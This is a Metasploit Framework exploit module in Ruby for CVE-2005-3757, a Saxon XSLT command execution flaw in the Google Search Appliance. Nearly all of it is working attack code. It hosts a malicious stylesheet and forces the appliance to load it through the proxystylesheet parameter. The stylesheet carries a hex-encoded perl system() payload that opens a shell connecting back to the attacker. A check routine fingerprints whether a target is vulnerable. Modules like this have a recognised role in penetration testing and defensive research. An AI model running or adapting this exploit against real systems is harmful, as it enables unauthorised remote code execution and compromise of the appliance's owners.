##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##


require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote
	Rank = ExcellentRanking
	include Msf::Exploit::Remote::HttpClient
	include Msf::Exploit::Remote::HttpServer

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Google Appliance ProxyStyleSheet Command Execution',
			'Description'    => %q{
				This module exploits a feature in the Saxon XSLT parser used by
			the Google Search Appliance. This feature allows for arbitrary
			java methods to be called. Google released a patch and advisory to
			their client base in August of 2005 (GA-2005-08-m). The target appliance
			must be able to connect back to your machine for this exploit to work.
			},
			'Author'         => [ 'hdm' ],
			'License'        => MSF_LICENSE,
			'References'     =>
				[
					['CVE', '2005-3757'],
					['OSVDB', '20981'],
					['BID', '15509'],
				],
			'Privileged'     => false,
			'Payload'        =>
				{
					'DisableNops' => true,
					'Space'       => 4000,
					'Compat'      =>
						{
							'PayloadType' => 'cmd',
							'RequiredCmd' => 'generic perl bash telnet netcat netcat-e',
						}
				},
			'Platform'       => 'unix',
			'Arch'           => ARCH_CMD,
			'Targets'        => [[ 'Automatic', { }]],
			'DisclosureDate' => 'Aug 16 2005',
			'Stance'         => Msf::Exploit::Stance::Aggressive,
			'DefaultTarget' => 0))
	end

	# Handle incoming requests from the appliance
	def on_request_uri(cli, request)

		print_status("Handling new incoming HTTP request...")

		exec_str = '/usr/bin/perl -e system(pack(qq{H*},qq{' + payload.encoded.unpack("H*")[0] + '}))'
		data = @xml_data.gsub(/:x:MSF:x:/, exec_str)
		send_response(cli, data)
	end

	def check
		res = send_request_cgi({
			'uri'      => '/search',
			'vars_get' =>
			{
				'client'          => rand_text_alpha(rand(15)+1),
				'site'            => rand_text_alpha(rand(15)+1),
				'output'          => 'xml_no_dtd',
				'q'               => rand_text_alpha(rand(15)+1),
				'proxystylesheet' => 'http://' + rand_text_alpha(rand(15)+1) + '/'
			}
		}, 10)

		if (res and res.body =~ /cannot be resolved to an ip address/)
			print_status("This system appears to be vulnerable")
			return Exploit::CheckCode::Vulnerable
		end

		if (res and res.body =~ /ERROR: Unable to fetch the stylesheet/)
			print_status("This system appears to be patched")
		end

		print_status("This system is not exploitable")
		return Exploit::CheckCode::Safe
	end


	def exploit

		# load the xml data
		path = File.join(Msf::Config.install_root, "data", "exploits", "google_proxystylesheet.xml")
		fd = File.open(path, "rb")
		@xml_data = fd.read(fd.stat.size)
		fd.close

		print_status("Obtaining the appliance site and client IDs...")
		# Send a HTTP/1.0 request to learn the site configuration
		res = send_request_raw({
			'uri'     => '/',
			'version' => '1.0'
		}, 10)

		if !(res and res['location'] and res['location'] =~ /site=/)
			print_status("Could not read the location header: #{res.code} #{res.message}")
			return
		end

		m = res['location'].match(/site=([^\&]+)\&.*client=([^\&]+)\&/im)
		if !(m and m[1] and m[2])
			print_status("Invalid location header: #{res['location']}")
			return
		end

		print_status("Starting up our web service on http://#{datastore['SRVHOST']}:#{datastore['SRVPORT']}#{resource_uri}...")
		start_service

		print_status("Requesting a search using our custom XSLT...")
		res = send_request_cgi({
			'uri'      => '/search',
			'vars_get' =>
			{
				'client'          => m[2],
				'site'            => m[1],
				'output'          => 'xml_no_dtd',
				'q'               => rand_text_alpha(rand(15)+1),
				'proxystylesheet' => "http://#{datastore['SRVHOST']}:#{datastore['SRVPORT']}#{resource_uri}/style.xml",
				'proxyreload'     => '1'
			}
		}, 25)

		if (res)
			print_status("The server returned: #{res.code} #{res.message}")
			print_status("Waiting on the payload to execute...")
			select(nil,nil,nil,20)
		else
			print_status("No response from the server")
		end

		print_status("Shutting down the web service...")
		stop_service
	end

end
